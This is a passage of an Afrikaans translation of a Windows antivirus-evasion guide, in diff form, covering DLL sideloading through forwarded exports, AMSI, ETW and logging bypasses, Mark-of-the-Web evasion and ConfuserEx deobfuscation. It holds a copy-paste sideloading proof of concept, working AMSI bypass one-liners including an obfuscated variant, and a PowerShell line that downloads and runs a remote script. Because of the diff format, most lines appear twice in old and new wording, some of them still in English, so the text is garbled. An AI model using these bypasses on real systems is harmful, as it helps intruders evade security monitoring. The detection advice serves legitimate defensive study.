Dit maak 'n indirekte sideloading-primitive moontlik: vind 'n gesigneerde DLL wat 'n funksie eksporteer wat doorgestuur word na 'n nie-KnownDLL modulenaam, en plaas daardie gesigneerde DLL saam in dieselfde gids as 'n deur 'n aanvaller beheerde DLL wat presies dieselfde naam het as die forwarded target module. Wanneer die forwarded export aangeroep word, los die loader die forward op en laai jou DLL vanaf dieselfde gids, wat jou DllMain uitvoer.
Example observed on Windows 11:
Voorbeeld waargeneem op Windows 11:
```
keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
```
`NCRYPTPROV.dll` is nie 'n KnownDLL nie, dus word dit opgelos volgens die normale soekorde.
PoC (copy-paste):
1) Kopieer die gesigneerde stelsel DLL na 'n skryfbare gids
1) Kopieer die gesigneerde stelsel-DLL na 'n skryfbare gids
```
copy C:\Windows\System32\keyiso.dll C:\test\
```
2) Plaas 'n kwaadwillige `NCRYPTPROV.dll` in dieselfde gids. 'n minimale `DllMain` is genoeg om code execution te kry; jy hoef nie die forwarded function te implementeer om `DllMain` te trigger nie.
2) Plaas 'n kwaadwillige `NCRYPTPROV.dll` in dieselfde vouer. 'n Minimale DllMain is genoeg om kode-uitvoering te kry; jy hoef nie die doorgestuurde funksie te implementeer om DllMain te aktiveer nie.
```c
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
#include <windows.h>
@ -149,29 +151,29 @@ if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&
return TRUE;
}
```
3) Veroorsaak die forwarding met 'n ondertekende LOLBin:
3) Ontlok die forward met 'n gesigneerde LOLBin:
```
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
```
Observed behavior:
- rundll32 (onderteken) laai die side-by-side `keyiso.dll` (onderteken)
- Terwyl dit `KeyIsoSetAuditingInterface` oplos, volg die loader die forward na `NCRYPTPROV.SetAuditingInterface`
- Die loader laai dan `NCRYPTPROV.dll` vanaf `C:\test` en voer sy `DllMain` uit
- As `SetAuditingInterface` nie geïmplementeer is nie, kry jy eers 'n "missing API" fout nadat `DllMain` reeds uitgevoer is
Waargenome gedrag:
- rundll32 (gesigneer) laai die side-by-side `keyiso.dll` (gesigneer)
- Terwyl dit `KeyIsoSetAuditingInterface` oplos, volg die lader die forward na `NCRYPTPROV.SetAuditingInterface`
- Die lader laai dan `NCRYPTPROV.dll` vanaf `C:\test` en voer sy `DllMain` uit
- As `SetAuditingInterface` nie geïmplementeer is nie, kry jy slegs 'n "missing API" fout nadat `DllMain` reeds geloop het
Hunting tips:
Jagwenke:
- Fokus op forwarded exports waar die teikenmodule nie 'n KnownDLL is nie. KnownDLLs word gelys onder `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
- Jy kan forwarded exports opsom met gereedskap soos:
- Jy kan forwarded exports opnoem met gereedskap soos:
```
dumpbin /exports C:\Windows\System32\keyiso.dll
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
```
- Sien die Windows 11 forwarder-inventaris om kandidaten te soek: https://hexacorn.com/d/apis_fwd.txt
- Sien die Windows 11 forwarder-inventaris om na kandidate te soek: https://hexacorn.com/d/apis_fwd.txt
Opsporing/verdediging-idees:
- Moniteer LOLBins (bv. rundll32.exe) wat gesigneerde DLLs vanaf nie-stelselpaadjies laai, gevolg deur die laai van nie-KnownDLLs met dieselfde basisnaam uit daardie gids
- Waarsku op proses-/modulekettings soos: `rundll32.exe` → nie-stelsel `keyiso.dll` → `NCRYPTPROV.dll` onder gebruikersskryfbare paadjies
- Dwing code-integriteitsbeleid af (WDAC/AppLocker) en weier write+execute in toepassingsgidse
Opsporings-/verdedigingsidees:
- Monitor LOLBins (bv., rundll32.exe) wat gesigneerde DLLs van nie-stelselpaaie laai, gevolg deur die laai van nie-KnownDLLs met dieselfde basisnaam uit daardie gids
- Waarsku op proses-/modulekettings soos: `rundll32.exe` → nie-stelsel `keyiso.dll` → `NCRYPTPROV.dll` onder gebruikerskryfbare paaie
- Handhaaf code-integriteitsbeleide (WDAC/AppLocker) en weier skryf+uitvoer in toepassingsgidse
## [**Freeze**](https://github.com/optiv/Freeze)
@ -187,13 +189,13 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Ontduiking is net 'n kat-en-muis-speletjie — wat vandag werk kan môre opgespoor word, so vertrou nooit net op een hulpmiddel nie; as dit moontlik is, probeer om verskeie ontwijkingstegnieke te ketting.
> Evasion is net 'n kat-en-muis-speletjie — wat vandag werk kan môre opgespoor word, so moenie net op een tool staatmaak nie; indien moontlik, probeer om verskeie evasion techniques aaneen te skakel.
## AMSI (Anti-Malware Scan Interface)
AMSI is geskep om "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)" te voorkom. Aanvanklik kon AVs slegs **files on disk** deursoek, so as jy op een of ander manier payloads **directly in-memory** kon uitvoer, kon die AV niks doen om dit te keer nie, aangesien dit nie genoeg sigbaarheid gehad het nie.
AMSI is geskep om "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)" te voorkom. Aanvanklik kon AVs slegs **files on disk** skandeer, so as jy op een of ander manier payloads **directly in-memory** kon uitvoer, kon die AV niks doen nie omdat dit nie genoeg sigbaarheid gehad het.
Die AMSI-funksie is geïntegreer in die volgende komponente van Windows.
The AMSI feature is integrated into these components of Windows.
- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
- PowerShell (scripts, interactive use, and dynamic code evaluation)
@ -201,39 +203,39 @@ Die AMSI-funksie is geïntegreer in die volgende komponente van Windows.
- JavaScript and VBScript
- Office VBA macros
Dit stel antivirus-oplossings in staat om skripgedrag te inspekteer deur skripinhoud in 'n vorm bloot te stel wat beide onversleuteld en nie-geobfuskuleer is nie.
Dit laat antivirus-oplossings toe om skripgedrag te inspekteer deur skripinhoud beskikbaar te stel in 'n vorm wat nie gekodeer of obfuskeer is nie.
Running `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` will produce the following alert on Windows Defender.
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
Let op hoe dit `amsi:` voorvoeg en dan die pad na die uitvoerbare lêer vanwaar die skrip geloop het — in hierdie geval, powershell.exe.
Let daarop hoe dit `amsi:` voorvoeg en dan die pad na die uitvoerbare lêer waarvan die skrip gehardloop het, in hierdie geval, powershell.exe
Ons het geen lêer op skyf geplaas nie, maar is steeds in-memory gevang weens AMSI.
Ons het niks na die skyf geskryf nie, maar is steeds in-memory vasgevang vanweë AMSI.
Verder, te begin met **.NET 4.8**, word C#-kode ook deur AMSI geloop. Dit raak selfs `Assembly.Load(byte[])` wat in-memory uitvoering laai. Daarom word dit aanbeveel om laer weergawes van .NET (soos 4.7.2 of laer) te gebruik vir in-memory uitvoering as jy AMSI wil ontduik.
Verder, beginend met **.NET 4.8**, word C# kode ook deur AMSI geloop. Dit beïnvloed selfs `Assembly.Load(byte[])` vir in-memory uitvoering. Daarom word dit aanbeveel om laer weergawes van .NET (soos 4.7.2 of laer) te gebruik vir in-memory uitvoering as jy AMSI wil ontduik.
Daar is 'n paar maniere om rondom AMSI te kom:
Daar is 'n paar maniere om rondom AMSI te werk:
- **Obfuscation**
Aangesien AMSI hoofsaaklik met statiese detections werk, kan dit 'n goeie manier wees om die skripte wat jy probeer laai te wysig om opsporing te ontduik.
Aangesien AMSI hoofsaaklik met static detections werk, kan dit 'n goeie manier wees om die skripte wat jy probeer laai te wysig om detectie te ontduik.
Egter, AMSI het die vermoë om skripte te de-obfuskeer, selfs as daar meerdere lae is, so obfuscation kan 'n slegte opsie wees, afhangend van hoe dit gedoen word. Dit maak dit nie so eenvoudig om te ontduik nie. Soms hoef jy egter net 'n paar veranderlike name te verander en jy is goed, so dit hang af van hoeveel iets gemerk is.
AMSI het egter die vermoë om skripte te de-obfuskeer selfs al het dit meerdere lae, so obfuscation kan 'n slegte opsie wees, afhangend van hoe dit gedoen word. Dit maak dit nie altyd reguit om te ontduik nie. Soms hoef jy net 'n paar veranderlike name te verander en jy is reg, so dit hang daarvan af hoe ernstig iets gemerk is.
- **AMSI Bypass**
Aangesien AMSI geïmplementeer word deur 'n DLL in die powershell-proses (ook cscript.exe, wscript.exe, ens.) te laai, is dit moontlik om dit maklik te manipuleer, selfs wanneer jy as 'n ongeprivilegieerde gebruiker loop. As gevolg van hierdie wanimplementering van AMSI het navorsers verskeie maniere gevind om AMSI-scanning te ontduik.
Aangesien AMSI geïmplementeer word deur 'n DLL in die powershell (ook cscript.exe, wscript.exe, ens.) proses te laad, is dit moontlik om dit maklik te manipuleer, selfs terwyl jy as 'n ongereguleerde gebruiker werk. As gevolg van hierdie tekortkoming in die implementering van AMSI, het navorsers verskeie maniere gevind om AMSI-skandering te ontduik.
**Forcing an Error**
Om die AMSI-initialisering te dwing om te misluk (amsiInitFailed) sal tot gevolg hê dat geen skandering vir die huidige proses geïnisieer word nie. Oorspronklik is dit deur [Matt Graeber](https://twitter.com/mattifestation) openbaar gemaak en Microsoft het 'n signature ontwikkel om wyer gebruik te voorkom.
Forcing the AMSI initialization to fail (amsiInitFailed) will result that no scan will be initiated for the current process. Originally this was disclosed by [Matt Graeber](https://twitter.com/mattifestation) and Microsoft has developed a signature to prevent wider usage.
```bash
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
Dit het net een reël powershell-kode geneem om AMSI onbruikbaar te maak vir die huidige powershell-proses. Hierdie reël is natuurlik deur AMSI self gemerk, dus is 'n aanpassing nodig om hierdie tegniek te kan gebruik.
Al wat dit geverg het, was een reël powershell-kode om AMSI onbruikbaar te maak vir die huidige powershell-proses. Hierdie reël is natuurlik deur AMSI self gevlag, so 'n aanpassing is nodig om hierdie tegniek te gebruik.
Hier is 'n aangepaste AMSI bypass wat ek van hierdie [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) geneem het.
Hier is 'n aangepaste AMSI bypass wat ek geneem het van hierdie [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
```bash
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
@ -247,78 +249,78 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
Hou in gedagte dat dit waarskynlik gemerk sal word sodra hierdie plasing uitkom, dus behoort jy nie enige kode te publiseer as jou plan is om onopgemerk te bly nie.
Hou in gedagte dat dit waarskynlik gevlag sal word sodra hierdie pos uitkom, so moet jy geen kode publiseer as jou plan is om onopgemerk te bly.
**Memory Patching**
This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
Hierdie tegniek is aanvanklik ontdek deur [@RastaMouse](https://twitter.com/_RastaMouse/) en dit behels die vind van die adres vir die "AmsiScanBuffer" funksie in amsi.dll (verantwoordelik vir die skandering van die user-supplied input) en dit oorskryf met instruksies om die kode vir E_INVALIDARG terug te gee; op hierdie manier sal die uitslag van die werklike skandering 0 teruggee, wat as 'n skoon resultaat geïnterpreteer word.
> [!TIP]
> Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation.
> Lees asseblief [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) vir 'n meer gedetailleerde verklaring.
Daar is ook baie ander tegnieke wat gebruik word om AMSI met PowerShell te bypass — kyk na [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) en [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) om meer daaroor te leer.
Daar is ook baie ander tegnieke wat gebruik word om AMSI met powershell te omseil — kyk na [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) en [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) om meer daaroor te leer.
Hierdie tool [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) genereer ook 'n script om AMSI te bypass.
Hierdie hulpmiddel [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) genereer ook 'n skrip om AMSI te omseil.
**Verwyder die gedetekte handtekening**
**Verwyder die gedetekteerde handtekening**
Jy kan 'n tool soos **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** en **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** gebruik om die gedetekte AMSI-handtekening uit die geheue van die huidige proses te verwyder. Hierdie tool werk deur die geheue van die huidige proses te skandeer vir die AMSI-handtekening en dit dan te oor skryf met NOP-instruksies, wat dit effektief uit die geheue verwyder.
Jy kan 'n hulpmiddel soos **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** en **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** gebruik om die gedetekteerde AMSI-handtekening uit die geheue van die huidige proses te verwyder. Hierdie hulpmiddel werk deur die geheue van die huidige proses vir die AMSI-handtekening te skandeer en dit dan met NOP-instruksies oor te skryf, wat dit effektief uit die geheue verwyder.
**AV/EDR products that uses AMSI**
Jy kan 'n lys van AV/EDR-produkte wat AMSI gebruik vind in **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
Jy kan 'n lys van AV/EDR-produkte wat AMSI gebruik vind by **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
**Use Powershell version 2**
If you use PowerShell version 2, AMSI will not be loaded, so you can run your scripts without being scanned by AMSI. You can do this:
**Gebruik Powershell weergawe 2**
As jy PowerShell weergawe 2 gebruik, sal AMSI nie gelaai word nie, sodat jy jou skripte kan uitvoer sonder dat AMSI dit skandeer. Jy kan dit so doen:
```bash
powershell.exe -version 2
```
## PS Logging
PowerShell logging is 'n funksie wat jou toelaat om alle PowerShell-opdragte wat op 'n stelsel uitgevoer word, te log. Dit kan nuttig wees vir ouditering en foutopsporing, maar dit kan ook 'n **probleem wees vir aanvallers wat ontdekking wil ontduik**.
PowerShell logging is a feature that allows you to log all PowerShell commands executed on a system. This can be useful for auditing and troubleshooting purposes, but it can also be a **problem for attackers who want to evade detection**.
Om PowerShell-logging te omseil, kan jy die volgende tegnieke gebruik:
To bypass PowerShell logging, you can use the following techniques:
- **Disable PowerShell Transcription and Module Logging**: Jy kan 'n hulpmiddel soos [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) hiervoor gebruik.
- **Use Powershell version 2**: As jy PowerShell version 2 gebruik, sal AMSI nie gelaai word nie, so jy kan jou skripte uitvoer sonder dat AMSI dit gaan skandeer. Jy kan dit doen: `powershell.exe -version 2`
- **Use an Unmanaged Powershell Session**: Gebruik [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) om 'n powershell sonder verdediging te spawn (dit is wat `powerpick` van Cobal Strike gebruik).
- **Disable PowerShell Transcription and Module Logging**: Jy kan 'n instrument soos [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) hiervoor gebruik.
- **Use Powershell version 2**: As jy PowerShell version 2 gebruik, sal AMSI nie gelaai word nie, so jy kan jou skripte laat loop sonder om deur AMSI geskan te word. Jy kan dit doen: `powershell.exe -version 2`
- **Use an Unmanaged Powershell Session**: Gebruik [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) om 'n powershell te spawn sonder verdediging (dit is wat `powerpick` from Cobal Strike uses).
## Obfuscation
> [!TIP]
> Verskeie obfuscation-tegnieke berus op die enkriptering van data, wat die entropie van die binêre sal verhoog en dit vir AVs en EDRs makliker sal maak om dit te detect. Wees versigtig hiermee en oorweeg om enkripsie slegs op spesifieke afdelings van jou kode toe te pas wat sensitief is of versteek moet word.
> Verskeie obfuscation-tegnieke berus op die enkriptering van data, wat die entropie van die binêre sal verhoog en dit vir AVs en EDRs makliker maak om dit op te spoor. Wees versigtig hiermee en pas enkripsie moontlik slegs toe op spesifieke gedeeltes van jou kode wat sensitief is of verberg moet word.
### Deobfuscating ConfuserEx-Protected .NET Binaries
Wanneer jy malware ontleed wat ConfuserEx 2 (of kommersiële forks) gebruik, is dit algemeen om verskeie beskermingslae te tref wat decompilers en sandboxes blokkeer. Die onderstaande werkvloei **herstel betroubaar 'n byna oorspronklike IL** wat daarna na C# gedecompileer kan word in gereedskap soos dnSpy of ILSpy.
When analysing malware that uses ConfuserEx 2 (or commercial forks) it is common to face several layers of protection that will block decompilers and sandboxes. The workflow below reliably **restores a near–original IL** that can afterwards be decompiled to C# in tools such as dnSpy or ILSpy.
1. Anti-tampering removal – ConfuserEx enkripteer elke *method body* en ontsleutel dit binne die *module* static constructor (`<Module>.cctor`). Dit pas ook die PE checksum aan sodat enige wysiging die binêre sal laat crash. Gebruik **AntiTamperKiller** om die geënkripteerde metadata-tabelle te lokaliseer, die XOR-sleutels te herstel en 'n skoon assembly te herskryf:
1. Anti-tampering removal – ConfuserEx encrypts every *method body* and decrypts it inside the *module* static constructor (`<Module>.cctor`). This also patches the PE checksum so any modification will crash the binary. Use **AntiTamperKiller** to locate the encrypted metadata tables, recover the XOR keys and rewrite a clean assembly:
```bash
# https://github.com/wwh1004/AntiTamperKiller
python AntiTamperKiller.py Confused.exe Confused.clean.exe
```
Die uitset bevat die 6 anti-tamper-parameters (`key0-key3`, `nameHash`, `internKey`) wat nuttig kan wees wanneer jy jou eie unpacker bou.
Output contains the 6 anti-tamper parameters (`key0-key3`, `nameHash`, `internKey`) that can be useful when building your own unpacker.
2. Symbol / control-flow recovery – voer die *clean* lêer in by **de4dot-cex** (a ConfuserEx-aware fork of de4dot).
2. Symbol / control-flow recovery – feed the *clean* file to **de4dot-cex** (a ConfuserEx-aware fork of de4dot).
```bash
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
```
Flags:
• `-p crx` – select the ConfuserEx 2 profile
• de4dot sal control-flow flattening ongedaan maak, oorspronklike namespaces, klasse en veranderlike name herstel en konstante stringe ontsleutel.
• `-p crx` – kies die ConfuserEx 2 profile
• de4dot sal control-flow flattening ongedaan maak, oorspronklike namespaces, classes en veranderlike name herstel en konstante stringe dekripteer.
3. Proxy-call stripping – ConfuserEx vervang direkte method calls met liggewig wrappers (a.k.a *proxy calls*) om verdere dekompilasie te saboteer. Verwyder dit met **ProxyCall-Remover**:
3. Proxy-call stripping – ConfuserEx replaces direct method calls with lightweight wrappers (a.k.a *proxy calls*) to further break decompilation. Remove them with **ProxyCall-Remover**:
```bash
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
```
Na hierdie stap behoort jy normale .NET API's soos `Convert.FromBase64String` of `AES.Create()` te sien in plaas van ondeursigtige wrapper-funksies (`Class8.smethod_10`, …).
After this step you should observe normal .NET API such as `Convert.FromBase64String` or `AES.Create()` instead of opaque wrapper functions (`Class8.smethod_10`, …).
4. Manual clean-up – voer die resultaat-binaire in dnSpy uit, soek na groot Base64-blobs of gebruik van `RijndaelManaged`/`TripleDESCryptoServiceProvider` om die *werklike* payload te lokaliseer. Dikwels stoor die malware dit as 'n TLV-geënkodeerde byte-array wat binne `<Module>.byte_0` geïnisialiseer is.
4. Manual clean-up – run the resulting binary under dnSpy, search for large Base64 blobs or `RijndaelManaged`/`TripleDESCryptoServiceProvider` use to locate the *real* payload. Often the malware stores it as a TLV-encoded byte array initialised inside `<Module>.byte_0`.
Bovengenoemde ketting herstel die uitvoeringstroom **sonder** om die kwaadwillige monster te hoef uit te voer – nuttig wanneer jy op 'n offline werksstasie werk.
The above chain restores execution flow **without** needing to run the malicious sample – useful when working on an offline workstation.
> 🛈 ConfuserEx produseer 'n pasgemaakte attribuut genaamd `ConfusedByAttribute` wat as 'n IOC gebruik kan word om monsters outomaties te triage.
> 🛈 ConfuserEx produces a custom attribute named `ConfusedByAttribute` that can be used as an IOC to automatically triage samples.
#### One-liner
```bash
@ -327,39 +329,39 @@ autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
---
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): The aim of this project is to provide an open-source fork of the [LLVM](http://www.llvm.org/) compilation suite able to provide increased software security through [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) and tamper-proofing.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstreer hoe om die `C++11/14` taal te gebruik om, by compile time, obfuscated code te genereer sonder om enige eksterne hulpmiddel te gebruik en sonder om die compiler te wysig.
- [**obfy**](https://github.com/fritzone/obfy): Voeg 'n laag obfuscated operations by wat gegenereer word deur die C++ template metaprogramming framework en wat die lewe van iemand wat die toepassing wil kraak 'n bietjie moeiliker sal maak.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is 'n x64 binary obfuscator wat verskeie verskillende PE files kan obfuskeer, insluitend: .exe, .dll, .sys
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Die doel van hierdie projek is om 'n open-source fork van die [LLVM](http://www.llvm.org/) compilation suite te verskaf wat verhoogde sagteware-sekuriteit deur middel van code obfuscation en tamper-proofing moontlik maak.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstreer hoe om die `C++11/14` taal te gebruik om, tydens die kompileerfase, obfuscated code te genereer sonder om enige eksterne hulpmiddel te gebruik en sonder om die compiler te wysig.
- [**obfy**](https://github.com/fritzone/obfy): Voeg 'n laag obfuscated operations by wat deur die C++ template metaprogramming framework gegenereer word, wat die lewe van iemand wat die toepassing wil crack 'n bietjie moeiliker sal maak.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is 'n x64 binary obfuscator wat verskeie verskillende pe files kan obfuscate, insluitend: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame is 'n eenvoudige metamorphic code engine vir arbitraire executables.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is 'n fijnkorrelige code obfuscation framework vir LLVM-supported languages wat ROP (return-oriented programming) gebruik. ROPfuscator obfuskeer 'n program op die assembly code vlak deur gewone instruksies in ROP chains te transformeer, en so ons natuurlike begrip van normale control flow te verhinder.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is 'n fine-grained code obfuscation framework vir LLVM-supported languages wat ROP (return-oriented programming) gebruik. ROPfuscator obfuscates 'n program op assembly code vlak deur gewone instruksies te transformeer in ROP chains, wat ons natuurlike begrip van normale control flow frustreer.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is 'n .NET PE Crypter geskryf in Nim
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor kan bestaande EXE/DLL omskakel na shellcode en dit daarna laai
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor kan bestaande EXE/DLL in shellcode omskakel en dit dan laai
## SmartScreen & MoTW
Jy het moontlik hierdie skerm gesien wanneer jy sekere executables vanaf die internet aflaai en uitvoer.
You may have seen this screen when downloading some executables from the internet and executing them.
Microsoft Defender SmartScreen is 'n sekuriteitsmeganisme wat bedoel is om die eindgebruiker te beskerm teen die uitvoering van moontlik kwaadaardige toepassings.
Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications.
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen werk hoofsaaklik met 'n reputation-based benadering, wat beteken dat ongereeld afgelaaide toepassings SmartScreen sal aktiveer en so die eindgebruiker waarsku en verhinder om die lêer uit te voer (alhoewel die lêer steeds uitgevoer kan word deur More Info -> Run anyway te klik).
SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway).
**MoTW** (Mark of The Web) is 'n [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) met die naam Zone.Identifier wat outomaties geskep word wanneer lêers vanaf die internet afgelaai word, saam met die URL waarvandaan dit afgelaai is.
**MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from.
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Checking the Zone.Identifier ADS for a file downloaded from the internet.</p></figcaption></figure>
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Kontroleer die Zone.Identifier ADS vir 'n lêer wat van die internet afgelaai is.</p></figcaption></figure>
> [!TIP]
> Dit is belangrik om op te let dat uitvoerbare lêers wat met 'n **vertroude** signing certificate onderteken is **nie SmartScreen sal aktiveer nie**.
> Dit is belangrik om op te let dat uitvoerbare lêers wat met 'n **vertroude** ondertekeningssertifikaat geteken is, **nie SmartScreen sal aktiveer nie**.
'n Baie effektiewe manier om te voorkom dat jou payloads die Mark of The Web kry, is om dit in 'n soort houer soos 'n ISO in te pak. Dit gebeur omdat Mark-of-the-Web (MOTW) **nie** toe toegepas kan word op **non NTFS** volumes nie.
A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes.
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is 'n hulpmiddel wat payloads in output containers verpak om Mark-of-the-Web te ontwijk.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web.
Example usage:
Voorbeeldgebruik:
```bash
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
@ -381,57 +383,57 @@ Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso
```
Hier is 'n demo om SmartScreen te omseil deur payloads binne ISO-lêers te verpakk met behulp van [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
Hier is 'n demo om SmartScreen te omseil deur payloads binne ISO-lêers te verpak met [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
## ETW
Event Tracing for Windows (ETW) is 'n kragtige logmechanisme in Windows wat toepassings en stelselkomponente toelaat om **gebeurtenisse te loog**. Dit kan egter ook deur sekuriteitsprodukte gebruik word om kwaadwillige aktiwiteite te monitor en te vind.
Event Tracing for Windows (ETW) is 'n kragtige logmeganisme in Windows wat toepassings en stelselkomponente toelaat om **events te log**. Dit kan egter ook deur sekuriteitsprodukte gebruik word om kwaadaardige aktiwiteite te monitor en te bespeur.
Soos hoe AMSI gedeaktiveer (omseil) word, is dit ook moontlik om die **`EtwEventWrite`** funksie van die userspace-proses onmiddellik te laat terugkeer sonder om enige gebeurtenisse te loog. Dit word gedoen deur die funksie in geheue te patch sodat dit onmiddellik terugkeer, wat effektief ETW-logging vir daardie proses deaktiveer.
Soos met hoe AMSI gedeaktiveer (omseil) kan word, is dit ook moontlik om die **`EtwEventWrite`** funksie van 'n user space proses onmiddellik te laat terugkeer sonder om enige events te log. Dit word bereik deur die funksie in geheue te patch sodat dit onmiddellik terugkeer, en effektief ETW-logging vir daardie proses uit te skakel.
Jy kan meer inligting vind by **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
## C# Assembly Reflection
Om C# binaries in geheue te laai is al 'n geruime tyd bekend en dit is steeds 'n uitstekende manier om jou post-exploitation tools te laat loop sonder om deur AV opgemerk te word.
Loading C# binaries in memory is al vir 'n geruime tyd bekend en dit is steeds 'n uitstekende manier om jou post-exploitation tools te laat loop sonder om deur AV uitgehaal te word.
Aangesien die payload direk in geheue gelaai sal word sonder om die skyf te raak, hoef ons slegs bekommerd te wees oor die patching van AMSI vir die hele proses.
Aangesien die payload direk in geheue gelaai sal word sonder om die skyf te raak, hoef ons net bekommerd te wees oor die patching van AMSI vir die hele proses.
Die meeste C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, ens.) bied reeds die vermoë om C# assemblies direk in geheue uit te voer, maar daar is verskillende maniere om dit te doen:
Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) bied reeds die vermoë om C# assemblies direk in geheue uit te voer, maar daar is verskillende maniere om dit te doen:
- **Fork\&Run**
